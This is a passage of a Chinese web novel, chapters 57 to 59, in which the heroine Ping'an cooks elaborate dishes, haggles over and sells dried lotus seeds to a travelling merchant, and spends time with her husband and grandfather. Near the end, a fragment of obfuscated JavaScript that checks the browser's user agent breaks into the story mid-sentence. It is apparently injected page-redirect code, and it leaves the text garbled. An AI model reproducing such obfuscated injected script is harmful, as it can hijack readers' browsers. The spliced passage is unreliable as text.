另起锅，她将绿豆倒入锅中，加入猪油开始炒制，加这猪油即可防止粘锅，又可使绿豆更为绵润。 颗颗分明的豆粒在她的大力辗轧之下，慢慢化为细密的豆泥。 不多时，木 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平安利索将灶台收拾好，快速炒完脆嫩的南瓜丝与水汆雍菜，接下来便只剩最后一道菜，醋烹脆骨。 新鲜的脆骨她方才早已处理好，锅中便只待放油，入脆骨细煨。 待脆骨煨至油香四溢，再下入蒜、胡葱翻炒出香味。 灶中添柴，铁锅温度骤生，瞬间咕噜油响，热气蒸腾。 平安找准时机，沿锅边倒入酱油、香醋混合调制的酱汁，快速颠锅。 只听得一声低沉悠长的滋滋声响，锅中霎时白雾缭绕，醋香飘溢。 将脆骨再度翻拌，裹满酱汁，一道香浓开胃，口感脆弹的醋烹脆骨便出锅。 今日的午食，肉豆香味馥郁，口感粉糯，很是容易嚼用。 而脆骨却截然不同，入口咸香十足，弹弹嫩嫩，咀嚼时还会发出嘎吱的脆响。 脆脆的软骨伴随着周边细嫩的肉质一同化入口腔，在舌尖上融合出极其独特又复合的口感。 虽然用了香醋，可这道菜却毫不酸牙，只余淡淡的醋香。有其香却无其味，便是不喜食酸之人也不会反感这股味道。 醋遇高温极易挥发，将醋融入这道菜中，既去除了脆骨的腥味，又将锅中的香气升华，还完美地保留了酱汁的鲜味，可谓是一样极好的提香佐料。 如此一来，这醋烹脆骨亦香气扑鼻，十分下饭。 木头爱吃这脆骨，爷爷则更喜欢软糯的肉豆，边吃，他边感慨：“还是软乎乎好嚼用。” 平安笑着接话：“知道您喜欢软口的，等会还有好吃的等着您。” 饭后，一家人也难得地忙里偷闲，共坐堂屋门边歇凉。 只待那缕难得的穿堂风走过，为他们带来夏日难觅的清凉。 平安将糕点端出，又泡上一壶她精心窖制多日的栀子花茶。 做好的绿豆菱角糕颜色亮丽不提，轻轻抿上小口，初尝便是浓郁的豆香与丝丝薄荷凉意。 待再咬一口，便品到里边粉糯的菱角糯米内陷，这内陷口感亦是十分奇特，既有菱角的粉也有糯米的柔腻与弹韧。 待一块糕点入腹，口中依旧还残存着绿豆与菱角的清香，体表的燥热仿佛也被那隐隐萦绕的清冽薄荷香所舒缓。 若是吃得噎了腻了，小酌一口栀香浓郁的栀子清茶，即可解腻，又可香口。 平安慢条斯理地品着糕点，喝着清茶，间或与木头、爷爷聊上几句外头发生的趣事。 一阵穿堂风从他们身上轻轻掠过，吹动着外头的树叶簌簌作响，与扰人的蝉鸣交相应和。 平安抬眸往外望去，翠绿的树叶在阳光的照耀下格外刺眼，她捧紧手中的茶盏，突然觉得这燥热的夏日也没那样烦人。 品茶吃果仿佛还在昨日，时间却如奔腾不止的车轮滚滚向前。 一晃已至七月流火，暑气渐消。 57. 杀鱼的第五十七天 档口最近的生意倒是四平八稳，靠着平安不时的捕鱼还有鱼丸虾饼的补贴，一月下来，还算小有盈余。 只不过天气越冷，捕捞就越困难。 趁着气温尚未骤降，平安隔上一两日便深入大河捕鱼。 只不过捕鱼这事，一向是看天吃饭，有时丰收，有时却连撒数网皆是空网而归。 运气好了，能去码头卖上一些赚些快钱。运气不佳，能捕捞上近几日档口的消耗便算不错。 平安有时也想着能不能在大河见到那条小江豚，可一连数次，都未曾发现它的踪影。若是它还安全，想来是已跟随族群回到了长江罢。 今年莲子丰收，最近镇上都是卖莲蓬与菱角的村民，饶是镇上往来外地人再多，也难以消耗这些产量。 可偏偏这东西不经放，也少有农人愿意为了莲子而花钱买冰。为了将自家新鲜的莲子卖出，一时间，大家纷纷降价，新鲜莲子价贱如泥，若是碰上甩卖的，一文钱也可拿走四个莲蓬。 平安并未加入卖莲蓬的队伍，如今市集里新鲜的莲子卖不上价，可干莲子价格却赛过鳜鱼，镇上至少二十到二十五文，县里则起码三十文。 为此，她家的莲蓬除了偶尔吃上几个尝尝鲜外，其它的，她都特意将它们留至七八成熟。 塘里养得久的莲蓬，莲子更为圆润饱满，空心瘪心者少，只是莲子皮也不如嫩莲子般是翠绿的颜色，反而变厚变黑，处理起来要费劲许多。 这日，卖完带出的鱼虾，已然临近午时。 望着外头的骄阳，平安只觉满是燥意，恨不得赶紧回家畅饮一碗红糖凉粉去去暑气。 她让木头先提着东西去了船上，自己则在后边善后。 除了一些卖调料干货的档口仍在，市集里卖活鲜的档口陆陆续续收了一半，瞧着比早上萧条不少。 愿意买菜做饭食的人亦早已回家烧火起锅，等闲不会在街道上停留。 可这样炎热的天气，街上还游走着好几个挑着担子叫卖的老人。 见得有人路过，他们便会热情揽客：“买莲子吗，新鲜便宜的莲子，今儿早上现摘现剥的。” 新鲜的莲子从莲蓬里剥出来可不经放，更何况这会太阳还直咧咧地晒着。 望着他们蜡黄消瘦的面庞和丛生的皱纹，平安前行的脚步不由一顿。 等她提着两大兜莲子赶到码头，木头惊得目瞪口呆。 “娘子，咱家不是有荷塘吗？” 听得两人说话，不少人将打量目光落在他们身上。看着四周熙熙攘攘的人群，平安轻笑出声：“回家再说。” 两人行至半路，木头见四周无人，方小心扯起话题：“娘子，你买这么多莲子是作甚？” “剥壳，晒干，做干莲子。” “这么多！”木头顿时垂头丧脑，英朗的眉目愁得皱成一团。 “咱们一起做呀。”看出他的抗拒，平安出言安抚。 “娘子，咱家怎么总是这种累活苦活啊！”良久，木头委屈巴巴叹道。 “哎，我也不想干活啊，可是不干活咱们吃饭怎么办，新房又怎么办。”看他脸色愈发难看，平安忙找补一句，“等我再想想好办法，看看有没有轻省些的活计。” 她和爷爷都是普通百姓，侥幸有一门手艺谋生，能用这些累活赚到钱已算幸运。不说远了，光是江宁府，不知有多少百姓全是靠天吃饭，若是田地收成不好，连填饱肚子都是奢望。他们比上不足比下有余，这样一想，平安也很是知足。 如果可以，平安也想过钱生钱的日子，可是她没有那么多钱，她只能在兼顾家庭的同时，尽力赚得多一点，再多一点。 木头闻言顿时安静下来，良久，他小声应和一句：“也是。”随即眼神闪烁地望向远方。 他清了清嗓，再度许下豪言壮语：“等我以后赚大钱了，我来养你和爷爷。”这样他也不用跟着干活了。 赚大钱，这会小钱他都难赚，哪里来的本事去赚大钱。 若这世界上真有无本生金赚得腰缠万贯的好事，哪里还会轮得到他们？ 对于木头最爱画的饼，平安虽不信，但面上照例温和附和：“可以。” “你别不信我。”察觉她的敷衍，木头停下划桨动作，扭头不悦反驳。 “我信你。” “你就是在敷衍我。”木头瞪她一眼，恨恨捏紧手中木桨。 “我没有。” “就有。” “幼稚！” “我幼稚不幼稚，娘子不知道吗？” 平安霎时熄火，半晌后，她憋出一句反问：“那你说说如何赚大钱？” 这下轮到木头哑言。 两岸茂草高林，煞是清幽，在这条碧波荡漾的小河上，慢慢飘过一艘晃晃悠悠的小木船。两人得庆幸，这一路走来人迹罕至，不然哪能让他们一边拌嘴一边往家中赶。 见得孙婿提了两大兜莲子回家，胡水生在一瞬间的怔愣过后很快恢复如常。 “这是做什么？”他小声问平安。 平安不好意思地笑了笑：“爷爷，我打算做干莲子。” 见是孙女的主意，胡水生摆摆手不再问话，他早就熬好了稀饭当做主食，只等平安他们归家。 就着蒜炒雍菜杆和甜辣的青瓜豆角，一家人各喝了几碗稀饭，就当用了午食。 早上揉搓出的凉粉浆液，这会已凝结成米白的一团，轻轻叩击盆侧，软软弹弹的凉粉便在盆中颤颤巍巍晃动。 加上少许姜末、醋、薄荷汁，再倒入甘甜浓稠的糖浆调味，一道清凉爽口，入口甜蜜滑嫩的凉粉便做成。 待吃饱喝足，日头已正当南。 搬好杌子和小桌，平安和木头坐在后堂风口拿起刀片便开工。 做这干莲子，首选七成熟的莲蓬，这样的莲子果肉饱满，质地偏硬，晒出来的莲子才不会干瘪败相。 剥出的莲肉也不可直接入晒盘，还需将表皮那层薄薄的莲衣撕掉，如此，晒干后莲子才不会发黄。 当然，剥皮时需得小心谨慎切记不可碰伤莲肉，这样做干莲子品相才佳。 看着孙女忙活半晌，也才得了一小堆莲子。胡水生停下抽竹篾的活计，一个人拿着木块在杂物房不知叮叮当当忙活什么。 等平安他们剥了大半桶莲子，爷爷也拿着一块两寸宽的长木上前。 “试试？”他将上面的压板掀开，露出中间一片薄薄的刀刃。 这是用来切莲子皮的工具？ “我来看看。”木头率先一步将莲子放下，伸手按着莲子就要滚动。 “等等！”平安赶忙出声制止。 “用这个压。”她从爷爷手中接过长柄木板轻轻压下。 但刀片还是露出太多，壳是剥开了，可已划伤了莲肉。 爷爷见状，又是一番敲敲打打，总算将刀片的高度定好。 有了这个小工具，破皮的速度大大加快。 莹白圆润的新鲜莲子化为干燥紧实的莲子干，只需两个晴日。 待用手抓取莲子，触觉干燥略带粉质，坠落时发出清脆碰响，这莲子便可收拢放凉后储存。 平安之前去汉云码头卖鱼时，就看见有不少外地游商在收购稻谷与当地特产，她打算带上这些莲子去码头碰碰运气。 再来汉云码头，这里依旧热闹非凡。 除了往来的商船，这边亦有官船停泊，沿河两岸的街道上，身着各色背心的货郎正挑着担子热情沿街叫卖。 乍踏入街道，入目尽是和气的笑颜，耳边霎时充斥环绕各色吆喝叫卖声与还价声。 与相熟的几个鱼贩打过招呼，平安在码头旁四处寻觅游商的踪影。 突然，一个身形消瘦的八字胡男人引起平安注意。 无它，他脚边正堆着几麻袋敞开的干莲子。 “什么价？”平安走近细问。 “买还是卖？”他的目光快速在平安身上逡巡，谨慎问道。 “你这莲子多少钱一斤收的？” 那人却不直接回答，只是语气微顿，问道：“你是要卖莲子？让我看看品质。” 平安解开绳子，将莲子敞开任他检查。 他睨了平安一眼，这才蹲身抓了把莲子在手中掂了掂。片刻后，他又伸手抓放莲子，听着莲子碰撞的清脆声响，他紧蹙多时的眉毛这才放松下来。 “十二文一斤。”他斟酌着报了个数。 “再加点，这新鲜的都得快十文一斤，别说加工，就是晒干也得脱不少水分。” “我这利润也不高，路上奔波少不得消耗。”显然，他并不愿意。 “我这个都是上好的红莲产的，前几日刚摘下晒干的，可不是什么陈年老货滥竽充数。您看看，这品相，这香气，那是响当当的上品好莲，在府城便是卖三十文一斤，也有贵人愿意买的。” 看平 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平安眼睛轻眨，坦然应诺：“我家就在湖区，荷塘莲蓬多得是，只是你也知道这东西费时费力，这价钱，还需好好商量商量。” “成，你若是三日内能给我收到两百斤，那我便给你十五文一斤，只是这品质你得保障跟今日的一样。” 平安摇了摇头：“三日太短了，采摘晾晒都需要时间。五日，申时，在这里见。” 那人犹疑片刻，终究是点头同意。 两人一块将这莲子上称，共称得十四斤三两，平安将零头给他抹了，快速报出价格：“二百一十文，您看看可对？” 游商愣怔刹那，随即笑着赞道：“小娘子算术不错，人也大气。” 说罢，他也不啰嗦，利索从兜中掏钱递给平安，两人钱货两讫，一桩买卖就此达成。 “谬赞，我姓胡，您叫我胡娘子就成。”平安率先自报家门。 游商幽幽点头，说道：“我姓莫，他们都爱唤我莫老三。” “莫老板。”平安笑着唤了声。 两人对视一眼，随即相视而笑。 有了个好的开始，平安回到村里，便准备迈开步子开干。 她喊来玉兰，又找上隔壁的王婶与曹婶，请她们在村里宣扬她要收购莲子的消息。 她家池塘里，如今适合采摘的莲子最多十几二十斤，若不从村里进货，压根没法达成那游商的要求。 只是这个收购价格，自然也要比世面上零卖要低上一些。 平安打算按七文一斤的价格收购新鲜莲子，等莲子一到，她就请人开干。 这样一来，他们做的越多，她也能赚得越多。 她已经攒下十几贯银钱，即使囤上几百斤莲子，对于她来说也在可承受的风险范围，她并不害怕那游商失信。 只不过现下对于她来说最要紧的事，便是填饱肚子。 今日她捞上不少肥美的母蟹，个头大的比她手掌还宽，只怕得有二三两一只。平安看得腹中馋虫嗷嗷直叫，只想快些品一品那金黄香浓的蟹黄解解饥荒。 这夏季的蟹，虽比不得深秋满膏，可却比春日里个头要大上不少。若是碰上老蟹，那肉只会更多。 先熬上一锅骨头汤打底，她今日打算做个一蟹三吃。 平安将个头大的螃蟹挑出，用草绳缚好，底下铺上姜片，便可上锅清蒸，待蒸熟后做剥壳蒸蟹用。 剩下那些个头中等的蟹，则洗刷干净，去除蟹脐，一半做清香水煮蟹，一半劈成两半做香辣蟹。 那边螃蟹上锅蒸着，这边起锅烧水，将完整的蟹投入凉水中，用生姜、紫苏、橘皮、盐、黄酒同煮。 等这边水沸，那厢蒸笼早已逸出腾腾雾气。 将笼盖掀开，磅礴的白色雾气瞬间席卷整个灶房，平安亦被这股热浪冲得当面一击。 待雾气散去，脸上只余湿漉漉的水汽，笼布上出现了四只橙灿灿、红彤彤的大螃蟹。 留下两只清蒸品味，剩下的平安快速将它们拆解，去除寒性不可食用的蟹心、蟹胃后，剩下的蟹肉、蟹黄则放在壳中与金黄的鸡蛋液混合均匀，继续上锅蒸制。 忙完这些，水煮蟹亦可出锅，这蟹无需做其它处理，只是需备上一份可口好食的蘸料。 取晒干的橘皮丝洗净切碎，与姜末、香醋共同入碟，其味清香酸爽，又可去腥驱寒，只一想清甜的蟹肉与这碟酸香的蘸料碰撞会产生何等鲜甜、清香的好味，平安便满怀期待。 58. 杀鱼的第五十八天 劈成两半的蟹，沾上一层豆粉防止蟹黄飘散，接着便可入油锅小火慢炸。 灰青色的蟹壳遇热迅速化为明媚的橘红色，与此同时，独属螃蟹的鲜香随着烈油慢慢挥发飘散。 平安小心地翻动螃蟹，力求使热油浸润内部，将螃蟹炸熟炸透。 随着温度骤升，锅内的清油亦慢慢变为清透的红油。 将炸好的螃蟹控油捞出备用，锅中下入辣酱、豆酱、酱油与蒜、姜片共同煸香，待馥郁香味传出，则入蟹快速翻拌，务必使香辣酱汁均匀裹满蟹身。 见锅中香气四溢，平安撒入紫苏段拌匀，紫苏的清香顿时随着高温锅气渐渐析入蟹肉之中，锅中香味愈发馥郁。 沿锅边倒入黄酒，盖上锅盖焖煮。 待锅内汤汁收至浅浅盖住蟹身，便可抽柴停火，撒上葱花提香出锅。 今日平安并未煮米饭，而是选择了面食。 煮熟的面条出锅过凉水，做出的面条劲道又弹韧。 用油汤汆把雍菜，再炒上一份粉粉糯糯的南瓜，今日的饭食便备好。 清香蟹、香辣蟹、剥壳蟹蒸蛋，三样风味、形态各异的螃蟹小菜热气腾腾上锅。 木头随爷爷做了半晌竹编，这会早已饿得肚子咕咕直叫，他积极地搬好桌椅，摆好碗筷，只待饭菜上桌。 “饿了？”平安笑问。 “没有没有。”木头赶忙摇头，笑着递给她筷著。 平安将调羹放在蟹壳边，顺手手中温酒给爷爷斟上一杯。 “来点？”她抬眸看向木头。 “舍命陪娘子。”木头朝她抛了个媚眼，惹得平安无奈轻笑，他亦随她哈哈大笑。 今日的螃蟹新鲜肥美，清香水煮蟹虽无厚重香料压味，却依旧无腥无膻。 将壳剥开，去掉蟹鳃，便露出齐整的纹理与薄壳的白色蟹肚。 轻轻一掰，雪白的蟹肉便破壳而出，展露出柳芽似的棱角。 丝丝分明的蟹肉乍入口，便回馈给味蕾质朴清甜的回甘。 蘸上少许酸香的蘸水，口感便变得丰富又独特。丝丝绵绵的蟹肉裹挟着咸香清爽的酱汁一并在唇齿之间迸发，这酱汁不但未曾掩盖蟹肉本身的清甜，反而让它的鲜味更上一层楼。 回味间，清甜与酸香在舌尖交织，这味道，只恨不得让人再啖一大口。 只可惜螃蟹再肥，肉也得慢慢品。 倒不如换个口，舀上一勺蟹黄蛋羹，螃蟹的鲜与鸡蛋的鲜在蟹壳内完美融合，成为光滑细腻的蛋羹，化至口中，便是极致的细腻爽滑。 香辣蟹吃起来则更为过瘾，红彤彤的蟹壳上裹满了浓郁的香辣酱汁，轻轻嗦上一口鲜汤，与蟹黄、蟹肉一齐在口中咀嚼，鲜、辣、咸、甜、香各味皆全。 吃完螃蟹，底下的汤汁才是精华。 舀上几勺与碗中的面食拌匀，撒上葱花，一碗鲜透的蟹香葱花拌面便做成。 蟹油蟹黄的鲜香与葱花的荤香在小小的拌面中碰撞，吃上一大口汤汁浓郁的劲道面条，除了主食带来的满足饱腹感外，一家人脑海中便只剩一个字——鲜。 这样绝味的面条，无需其它浇头，便可诱惑人欲罢不能地接连嗦入口中。 吃得满足，平安便执起手中酒杯轻抿小口，与家人畅怀共饮。此时若能有一阵清凉的穿堂风拂过，那便真是人间畅事。 金乌西坠，村中袅袅飘散的炊烟渐渐散去，屋外的小院里，各类虫鸣鸟叫也齐齐上阵。 一只青蛙方才还在欢快地呱呱直叫，转眼间声音却戛然而止。 与此同时，院外传来一阵急速的摆尾摩挲声。 平安听到声音快步往门外跑，却见一条成人手腕粗细的黄褐色花蛇快速藏匿至瓜果花草间。 因着身形粗大，游走间，不少细小的花草皆被它的动作压踏。 爷爷也走到檐下，见着蛇尾，他松了口气，温声拍了拍平安的肩：“别怕，五毒的菜花蛇，是咱的护家蛇。” 木头见状，紧绷的肩背这才慢慢松垮下来，他抬眸打量身侧的爷孙两眼，这才清嗓咳道：“爷爷，咱们回去吃饭吧。”说罢，他松开放在平安腰侧的手，改为拉拽她的手腕。 “吃吧，吃吧。”胡水生笑意盈盈地摆摆手，随即推着两人往里屋走。 正当一家人收拾忙活之时，外边又有人在叫门。 正在院中施肥的爷爷听得动静，提着水瓢将门闩推开。 咬着青瓜的王婶子蹑手蹑脚走近来，转身就将院门关好。 待进了门，她谄笑一声，小声提起话头。 “平安，你说收莲子的事，可做得了数？”她语带狐疑地瞟了平安一眼，视线随即转移至木头和爷爷身上。往常她来串门都爱先虚与委蛇几句，今日遇着钱，终究是忍不住直接开门见山。 “当然。”平安应诺，“我也是替别人收，只是这个莲子得按照我说的标准来，不然我可交不了差。” 听她这般笃定，王婶仿佛见到卖莲子的铜钱正朝她钱袋滚滚而来，她顿时喜笑颜开，一把拉住平安的手：“这个好说，好说。” 有了村人的大力襄助，农闲时节，收莲子之事很快办好。 不足半日，家中便已摆满大大小小的木盆、木桶，堆放好上百斤剥出的深绿莲子。 这莲子剥壳之事，平安当然没想着自家埋头苦干。 正如木头所言，她每回赚的都是辛苦钱，赚不了太多，人也累得不浅。 她反思过后，究其原因。一来她向来是小农思想，只愿自给自足，闷声发财；二来她囊中羞涩，财政确实窘迫，这就导致她心中畏惧风险，舍不得放手请人。自己也被家中琐事、被档口束缚，再难去外边寻觅商机。 捕鱼、摆摊都是赚钱事，可她之前总觉自己独木难支，空有想法，却畏手畏脚。 等她将木头喊到档口，她攒钱的速度便是一月抵上之前三月，手中有了积蓄，平安也敢逐渐放开手脚。 除了辛苦爷爷多做上几个刨莲子的工具，收购来的莲子，平安便按照一文一斤莲子肉的价格请村里人帮工。因着这些人家都卖了不少莲子给她，也就没人嫌弃工价低，做得快的，一日也能顶个小工钱。 玉兰、王婶，还有族里的各路婶婶、堂妹，纷纷加入剥莲子的队伍之中。 木头与爷爷要做的，便是称重、检查莲子肉大小是否合适、表皮是否完整。 剥好的莲子肉需要不少簸箕与空地晾晒，玉兰便让平安将部分莲子晒到她娘家，她剥莲子时顺道照看一二。 两人一块长大，将莲子交给她平安也放心。 接下来两日，村中听到消息的人越来越多，陆续有人上门问平安收不收莲子。 这莲子只要晒得干，保存数月没有任何问题。 检查完莲子成熟度，平安咬咬牙，只要带着莲子上门的，检查合格后，一律收下。 前段时间下了大半月的雨，这段时日反而天天晴好。 虽心中庆幸老天垂怜，看着地面干燥的泥巴，爷爷却忧心起来。 “老天爷不欠账，现在日头多雨水少，怕是会有干旱，到了冬日指不定要下多少冻雨。” 正在装莲子的木头好奇愣住：“真有这样神奇？” 平安轻声一笑：“冬日你就知道咱们这的苦了。” “哼。”木头傲娇地抬起头，这会都热成什么样了，他才不信这冻雨能有多冷，“我不怕冷。” 平安与爷爷相视一笑，未再言语。 很快便到约定交货的日子，因着与那游商约好的时间是下午，木头也囔囔着要与她一起去。 平安倒也随他，只是他划船速度慢，两人得早些从玉溪镇出发才是。 该说不说，木头这人平日里言语虽有些吊儿郎当，可说过 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“那是，咱爷爷当然得带上，爷爷对我可是真好。”木头拍拍胸脯，仿佛明日就可收拾行囊，出发汴京。 平安一边附和他，一边在人群中寻找游商的踪影。 之前两人见面的地方是在一个街角，可平安转了一圈，还是没有发现他的身影。 难不成，今儿这两百斤莲子要砸手上，另觅买家了？ 平安抬头望了望日头，木头也傻愣愣地随她抬头：“娘子，天上是有什么吗？” 见着两人齐齐抬头望天，四周行人亦随流好奇抬首。 平安无奈地拉了拉他衣袖：“我在看时间。” 木头有时呆傻，有时却又十分精明：“娘子你别担忧，便是找不到那游商，咱们总能卖出去的。” 说罢，他在平安身边附耳嘀咕：“方才我看码头那边有许多商船，还有不少外地的官船，那些可都是有钱人，凭我这三寸不烂之舌，定然能将他们买个高价。” 两人嘻嘻哈哈，谈天说地，时间很快便来到申时。 平安正欲重新寻找买家，耳边便传来熟悉的声音：“胡娘子，久等了！” “莫老板。” “哟，这是您家当家的？”莫老三笑道。 “是我夫君。”平安接话，并未正面答复。 木头倒是不在乎脸面：“我就听我家娘子的。” “哈哈。”莫老三抚须大笑，“郎君也是个风趣人。” 几人一边插科打诨，一边将莲子倒出检查，称重，今日这桩生意便将做成。 “这麻袋？”看着多出来的重量，莫老三试探问道。 平安就怕他不问，当下也是朗声解释：“您那边若是没有东西装莲子，这麻袋便送您。多出的重量便是这麻袋的重量，我之前与您说好的两百斤，自然是净重。” 莫老三并未多言，只是轻轻颔首，低声笑道：“胡娘子是个讲究人，若是这莲子卖得好，三日后我会再来收货。” 这话未说透，但也给了平安一缕希望，做与不做，都是平安的决策，风险当然也是她来担，这精明程度确实很符合生意人的惯性。 既然他未明说要收多少，平安当然不能将所有希望寄托于他身上。 今日这桩生意，虽耗时五日，但两人可以说是头回赚来轻松钱。 新鲜莲子与人工的价格控制在六文至七文之间，以她筛选的莲子饱满程度，晒干后的出肉率则可达四成五到五成。 大概算来，平安到手的毛利大概在七八百文。 这还只是两百斤的利润，若是五百斤，一千斤呢？ 望着码头熙熙攘攘的人群，平安与木头对视一眼，相携往河边走去。 59. 杀鱼的第五十九天 家里这几日陆续收购新鲜莲子，又趁着烈日晒干不少，产出自然不止两百斤干莲子。 除了带出这两百斤货，两人身上也各带上小袋干莲子做样品，为的就是给自己寻条后路。 码头人潮汹涌，行商叫卖者男女老少皆有，期间充斥着官话与各路俚语，两人的吆喝声隐在其中并不显眼。 夫妻俩费尽口舌，总算约好两个游商，明日将莲子带来码头看货。 平安在码头进上一些家里没有的鱼等着明日售卖，返程路上，她又寻了河湾处丢下锚子打算顺路撒上几网。 看着自家娘子左手后收，右手发力，双手合力朝外一甩，渔网便轻松落至河面，动作瞧着轻巧又容易，木头不禁出言称赞：“娘子好手艺。” “就你嘴甜。”平安回首笑应。 眼见渔网缓缓下沉，木头欺身靠近，好奇问道：“娘子平日里就是这样撒网的？” “自然。” 瞧他摩拳擦掌的模样，显然是跃跃欲试，平安笑道：“等下给你收网。” “那敢情好。”木头咧嘴大笑，一把揽住平安肩膀。 他长得人高马大，可偏偏这会还要偏头把脑袋蹭向自个脖颈。感受着身侧传来的温热呼吸，平安望了眼碧波荡漾的河面，心中无奈感慨，果真和狗子一样爱黏糊。 “好了。”平安不自在的侧身一步，将手中收网绳交到木头手中。 看他毫不在乎的轻敌模样，平安心中便有预感。果然，他拽了半晌，渔网都未曾移动多少。想来是看着这绳子轻飘飘，未舍得用多大力气。 听得河面传来的哗啦水响，平安看着他一会擦汗，一会缩了缩脖子，她努力克制住笑意，将视线移至别处。 木头这边，用余光偷偷瞥了自家娘子一眼，见她仿若未觉，这才暗松口气，开始使劲拖拽渔网。 许是河神老爷眷顾新手，都已是这个时辰，木头这一网竟比往常要来得沉甸。 看他拉了半天，渔网却久久未靠船，平安终究是未忍住轻轻拉了一把。 “哎，出来了，出来了。”木头笑着看向平安，眼角眉梢尽是喜色。两人视线相对，平安抿了抿唇，不自在地转移目光。 “看看都有什么鱼。”借着打探的机会，平安使力帮他将渔网拽拉上船。两人皆在一侧使力，渔船晃晃悠悠，直直朝两人所在一侧倾斜，平安赶忙后退一步，将重心偏移，这才免了落水窘境。 将一些水草扔掉，摊开渔网，里面的鱼出水受惊，不时在船板上蹦跳翻腾，离得近了，两人都被溅上一脸的水珠。 在一群黑灰的鱼中，几条雪白银亮，形如柳叶的刁子格外惹眼。 “竟然有不少白刁。”平安拨开最上层的网兜，将捞起的鱼捡好放进舱中。 “刁子？”木头好奇发问。 “是，咱家吃它吃得少。” 看他两眼放光的模样，平安好笑问道：“怎么，想吃？” 木头却摇头：“只是瞧着好看，咱档口也卖得少。” “你说的倒也没错。”自幼生长在水乡，平安吃过不少好鱼，这刁子虽然肉质还算细腻，但论鲜美不敌翘嘴鲥鱼，论鱼刺多少又输给愣子鱼，腌制后做熏鱼或者鱼干倒是不错，肉可被丝丝撕下，吃起来也嚼劲鲜香。 这愣子鱼模样与刁子十分相似，肉质同样细嫩不说，它全身上下只有中间脊柱上一根主刺，在当地很是受欢迎。 市集上不少黑心商贩将刁子当成它贩卖，可只要回家一烹煮，看见刁子的刺，人家便知上了当，但若要找他麻烦，却已是寻人不到。 这样的人往往是打枪换炮，不经常在一个地方兜售，也因此许多百姓都变得不爱与面生的游商做生意。 “没错？”木头瞳孔放大，不自在地眨了眨眼睛，他方才说的是谦辞，他娘子怎么就这么不通情理呢。 平安点点头，将手中鲫鱼放好。 “这大刁子腌制后食用味道还算鲜美，若是捞上激浪小白条，那适合油炸，直至把里面的小刺都炸酥炸透，这才不会伤喉咙。咱们这个头太大了，只适合卖掉。” “说来说去，娘子你就是舍不得钱。”木头不虞嗔道。 平安才不会被他这话激到，她照常将渔网塞入他手中，问道：“还捕不捕？” “捕！”木头这会正是新奇上头之际，哪能舍得浪费这等乐趣。 至于晚食，娘子确实从未亏空他这张嘴，他才不忧心没菜吃，刚刚他只是想找个由头与她斗斗嘴。 看他乐呵撒网，平安心中便开始盘算，今日买回的猪脚该如何做得有味。 两人一路走走停停，竟也捕得半舱鱼儿归家。 尚未进家门，便听得里边人声鼎沸，想来是一些来家里剥莲子、送莲子的人仍未散去。 倒是好久未曾这样热闹了。 见平安归家，这几日村里人也知晓这事都是她拍板才成，当下也一个个笑意盈盈与她招呼。 “呀，平安回来了，可真是能干，提这么多鱼啊。” “那确实，这十里八乡，也难寻这么会挣钱的小娘子哟。” 一群人大白天睁眼说瞎话，倒是把爷爷逗得喜笑颜开。 看着日头已晚，许多人倒也不再逗留，与他们招呼过后便纷纷离开。 平安挽起衣袖，嘱咐木头将鱼放好，自己则洗手走到灶房。 两只外皮燎得微焦的猪脚这会正高高悬挂在梁上，她取出钩子将它们取下刷洗干净。 今日她便用它们来做一道肉鲊，这上好的肉鲊需用羊肉，但是猪肉若是做得好，味道也不输羊肉。 洗净的猪脚需用剔刀将皮肉批出，对于常年剖鱼、年年帮忙杀猪的平安来说，也不过三两下功夫。不过须臾，肉与骨便已完美分离，一张完整的肉片已出现在案板上。 取刀背将肉片拍松，切成棋子大小，如此处理过的肉片，肉中的纤维被敲得软糯松散，吃起来口感更显细腻。 把肉处理好，平安起锅烧水，水热的间隙，取出草果、砂仁、花椒、胡椒、莳萝、葱姜蒜等各味香料备用。 用研钵将草果、砂仁皮、籽分离，与胡椒一起碾碎成细密的颗粒。 另起锅烧油，放入葱姜、花椒、少许烟桂、半个八角爆出香味，捞出香料控油，余下香气浓郁的料油盛出备用。 待水沸，加入去腥的姜片、花椒、黄酒，下入切好的肉粒焯至断生，用笊篱捞出肉粒，放置于干净的纱布中攥干多余水分。 这焯水程度也得细心观察，若见得猪肉卷曲变白，再数个几息，便是已然断生，需尽快捞出。否则煮得久了，外边的肉皮容易发硬，也就失了口感。 如此，煮熟的肉粒便可加入草果、砂仁碎、料油、盐、少许酱汁进行翻拌。[1] 这道菜最重要的配料——果醋，便可上场。 果醋酸酸甜甜，极易上口，口感醇厚柔和不说，还自带微微的果香。 用上小半碗果醋与肉鲊翻拌，肉的肥腻瞬间被醋的酸香压制。 肉鲊入口香气馥郁，咸香酸辣各味皆宜，张扬的酸味虽贯穿始终，可却清清淡淡，与肉鲊的底味基调毫不冲突，反而使得它鲜味大增，回味中带出微微的回甘。 许多人做肉鲊，以酸甜二味为主味，平安却喜咸香，故而加上了少许自己熬制的辣酱翻拌。 甜味做糕点果子皆可，在菜里提鲜足矣。 剔出的骨头，自然也不浪费，用文火慢炖，加上泡发好的昆布，又可做一道汤菜。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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吃上几口清凉爽口、香辣酸鲜的肉鲊，再吃一口青菜解腻下饭，间或吃上几片滑溜溜、香喷喷的昆布。 等吃饱了，再各自喝上一碗汤溜溜缝，爷爷都满足地摸了摸肚子。 如此吃饱喝足，洗漱干净，平安晚上围坐桌前数起钱来也是愈发精神。 “七百。” “八百。”平安将一百铜钱依次摆好。 “这么多！”木头低声感慨。 许是连着几日生意不错，家中积蓄渐丰，木头心中松懈，这会也不似之前般倒下就睡。两人说着说着话，他便开始挨挨蹭蹭，动手动脚。 昏黄的烛光之下，年轻郎君端坐身侧，两人手肘相邻，他身上炽热的体温透过薄薄的夏衫迅速传递至平安手臂。 平安被他这些小动作激得无奈抬眸，正巧与他灼灼的目光对上。他人虽像个糊涂蛋，可这眉眼却着实精致，潋滟含情，顾盼神飞，看谁都像含着一汪春水。 平安赏美景，可美景也在赏她。 两人视线乍一对上，木头便呼吸一窒，急促的呼吸声在此刻愈发清晰可闻，他虽未言语，可眼神炯炯，目的显而易见。夫妻数月，平安如何还不知他的想法。虽她没太大想法，可想到那没影的孩子，也只是半推半就随了他去。 等到次日，两人忙完档口生意，便兴冲冲带着干莲子往汉云码头赶去。 昨日约好的那两个游商，他们寻了半晌也只遇着一个。 